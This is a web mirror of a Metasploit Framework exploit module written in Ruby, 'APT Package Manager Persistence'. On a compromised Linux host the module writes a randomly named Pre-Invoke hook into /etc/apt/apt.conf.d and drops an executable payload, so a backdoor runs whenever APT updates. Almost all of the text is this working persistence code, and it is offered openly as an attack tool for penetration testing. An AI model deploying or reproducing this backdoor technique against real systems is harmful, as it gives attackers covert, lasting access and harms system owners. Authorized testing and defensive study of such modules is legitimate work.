Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/apt_package_manager.rb
31484 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include Msf::Post::File
12
include Msf::Post::Linux::System
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/apt_package_manager_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'APT Package Manager Persistence',
23
'Description' => %q{
24
This module will run a payload when the APT package manager is used.
25
This module creates a pre-invoke hook for APT in apt.conf.d. Write access
26
to the apt.conf.d directory is required, typically requiring root access.
27
The hook name is randomized if not specified.
28
Verified on Ubuntu 22.04
29
},
30
'License' => MSF_LICENSE,
31
'Author' => ['Aaron Ringo'],
32
'Platform' => ['linux', 'unix'],
33
'Arch' => [
34
ARCH_CMD,
35
ARCH_X86,
36
ARCH_X64,
37
ARCH_ARMLE,
38
ARCH_AARCH64,
39
ARCH_PPC,
40
ARCH_MIPSLE,
41
ARCH_MIPSBE
42
],
43
'SessionTypes' => ['shell', 'meterpreter'],
44
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
45
'References' => [
46
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
47
['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
48
],
49
'Targets' => [['Automatic', {}]],
50
'Privileged' => true,
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Stability' => [CRASH_SAFE],
54
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
55
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
56
}
57
)
58
)
59
60
register_options(
61
[
62
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
63
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
64
OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
65
]
66
)
67
end
68
69
def check
70
return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
71
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
72
return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
73
74
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
75
return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
76
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
77
78
CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
79
end
80
81
def install_persistence
82
fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
83
hook_path = datastore['HOOKPATH']
84
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
85
86
if payload.arch.first == 'cmd'
87
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
88
else
89
payload_path = writable_dir
90
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
91
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
92
payload_path << payload_name
93
write_file(payload_path, generate_payload_exe)
94
fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
95
print_status("Backdoor uploaded #{payload_path}")
96
# permissions chosen to reflect common perms in /usr/local/bin/
97
chmod(payload_path, 0o755)
98
99
print_status('Attempting to write hook')
100
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
101
@clean_up_rc << "rm #{payload_path}\n"
102
end
103
write_file(datastore['HOOKPATH'], hook_script)
104
105
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
106
107
print_status("Wrote #{datastore['HOOKPATH']}")
108
109
print_good('Backdoor will run on next APT update')
110
111
@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
112
end
113
end
114
115